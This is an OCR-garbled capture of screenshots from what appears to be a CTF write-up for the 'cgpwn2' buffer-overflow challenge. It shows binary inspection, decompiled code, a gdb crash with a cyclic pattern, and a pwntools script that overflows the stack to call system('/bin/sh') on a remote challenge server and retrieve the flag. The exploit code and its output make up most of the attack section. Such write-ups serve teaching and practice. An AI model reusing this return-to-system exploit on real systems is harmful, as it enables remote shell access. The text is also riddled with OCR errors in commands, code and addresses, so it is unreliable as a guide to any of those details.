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giantbranch@ubuntu:~/Desktop$ file cgpwn2

cgpwn2: ELF 32-bit LSB executable, Intel 88386, version 1 (SYSV), dynamically 1i
nked, interpreter /lib/ld-, for GNU/Linux 2.6.24, BuildID[shal]=86982ecaB8585abib
30762b8479a6071dbf584559, not stripped

giantbranch@ubuntu:~/Desktops .fcgpwn2

please tell me your name

AAA

hello,you can leave some message here:

EEEE

thank you
giantbranch@ubuntu:~/Desktop$ checksec cgpwn2
[#]1 '/home/giantbranch/Desktop/cgpwn2'

Arch: i386-32-1little

RELRO: Partial RELRO

Stack:

NX:
PIE: . hitps://blog.csdn.net/macro_wing
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‘s’ LOAD: 080 00000013 flib/1d-1inux. so. 2
's'| LOAD: 080 0000000A libc. so. 6
's’| LOAD: 080" 0000000F _10_stdin_used
's'| LOAD: 080 00000005 puts
‘'s’| LOAD: 080 00000006 stdin
‘s’ LOAD: 080 00000006 fgets
‘'s’| LOAD: 080 00000007 stdout
‘5’| LOAD: 080 00000007 stderr
‘s LOAD: 080" 00000007 system
LOAD: 080 00000007 setbuf

LOAD: 080 QQO00012
LOAD: 080+ QQC0000F
LOAD: 080 Q0000004
.rodata: s 0000000C
.rodata: s 00000019
.rodata: s 00000027

.rodata:- 00000004
=l Frames OAOONMNE

__libec_start_main

__gmorl_start

GLIBC_2.0

echo hehehe

please tell me vour name

hello, vou can leave some message here:

thank vou
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EREIEZFR ~ 5| wunsigned int v2; // ecx
init_proc 6| char *v3; // eax
=ub 8048300 7| char s; // [esp+12h] [ebp-26h]
setbuf 8| int vé; // [esp+14h] [ebp-24h]
_gets 9
_fgets 10 ve = &s;
_puts 11 vl = 39;
_system 12| if ( (unsigned int)&s & 2 )

___gmon_start
__libe_start main

_start

__x86_get_pc_thunk_bx
deregister_tm_clones

register_tm_clones

__do_global_dtors_aux
frame_dummy

jsliiig!

hello

main

_ libe_csu init

__libe_csu fini

_term_proc

setbuf

gets

fgets

puts

system v
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13 {

14 *(_WORD *)&s = @;
15 v@ = (char *)&v6;
16 vl = 28;

17}

18] v2 = @;
19| do

20

21 *(_DWORD *)&va[v2] = @;

22 v2 += 4;

23| }

24| while { v2 < (v1 & @xFFFFFFFC) );
25| v3 = &uO[v2];

26 if (v1 & 2)

27| {

28 *(_WORD *)v3 = 0;

29 V3 += 2;

30 3}

31 if (v1 & 1)

35| puts("hello
36| return gets(&s);
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.DSS : UBYaAAYLY
.bss:0804A065

.bss:0804A080

.bss:0804A080 ; char name[52]
.bss:0804A080 njame

.bss:0804A080
.prgend: 0804A0B4

.prgend: 0804A0B4 prgend
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.prgend: 9804ABB4 ; ============

align 26h
public name

db 34h dup(?)
.bss:0804A080 bss ends

.prgend:0804A0B4 ; Segment type: Zero-length

segment byte public

Tabkal harda

ou can leave some message here:");
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giantbranch@ubuntu:~/Desktop$ ./pattern.py 150
AaBGAalAa2Aa3AadAaSAa6AaTAaBAa%AbOAD1AD2AD3AD4ADSADGADTADBADIACDACIAC2ZAC3ACAACSAC
6ACTACBACIAdOAd1IAd2Ad3Ad4AdSAdE6AdTAdBADIAEDAC1A2Ae3AcdAe5Ae6AeTAeBACT
giantbranch@ubuntu:~/Desktop$ ./pattern.py 0x41346241
Pattern ©x41346241 first occurrence at position FB in pattern.
giantbranch@ubuntu:~/Desktops ||

=
Starting program: /home/giantbranch/Desktop/cgpwn2
please tell me your name
aaa
hello,you can leave some message here:
AaBAalAazAa3AadhasAatAaTAaBAa9AboAb1Ab2AD3AD4ADSADE6ADTADBADIACOACIAC2ZAC3ACEAACSAC
6ACTACBACOAdOAd1Ad2Ad3Ad4AdSAd6AdTAdBADIAEDAC1A2Ae3AcdAe5Ae6AeTAeBARD

Program received signal SIGSEGV, Segmentation fault.

("AaBAalAaZAa3nad"...)
0x41306241 ('AbGA')
--> @xfbadzesb
--> Ox0
0x62413162 ('b1lAb')
--> 0x1b1dbo
0x33624132 ('2Ab3'")
("bsAbsAbTAbBAbOA"...)
Ox41346241 ('Ab4A')
: 8x10286 (

("b5AbsAbTADBADOA"...)
("eAb7AbBAbIACBAC" ... )
("Ab8Ab9ACBACIAC2"...)
("b9ACBACIAC2AC3A"...)
("BAc1lAC2AC3AC4AC"...)
("Ac2Ac3AcC4ACSACE"...)
("c3Ac4ACSACBACTA"...)
("4AcSACBACTACBAC" . ..)

. . , value
Stopped reason:
0x41346241 in ?? ()
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rom pwn import *
remote("111.198.29.45","36522")
ELF("./cgpwn2")

.F
p
e
system = e.symbols['system’']

binsh = 0x804A0808

payload = 'A'*42 + p32(system) + p32(0) +p32(binsh)
p-sendlineafter("please tell me your name","/bin/sh")
p.sendlineafter{"hello,you can leave some message here:",payload)
p-interactive()

giantbranch@ubuntu: ~/Desktop

giantbranch@ubuntu:~/Desktop$ python cgpwn.py
[+] Opening connection to 111.198.29.45 on port 36522: Done
[*] '/home/giantbranch/Desktop/cgpwn2’
Arch: i386-32-little
RELRO: Partial RELRO
Stack:
NX:
PIE:
[#] switching to interactive mode

cyberpeace{cB8af7e677b93e871f20eBee1581bc118}

[*] Interrupted . T
[#] Closed connection to 111.198.29.45 pH san.nevmacro_wing
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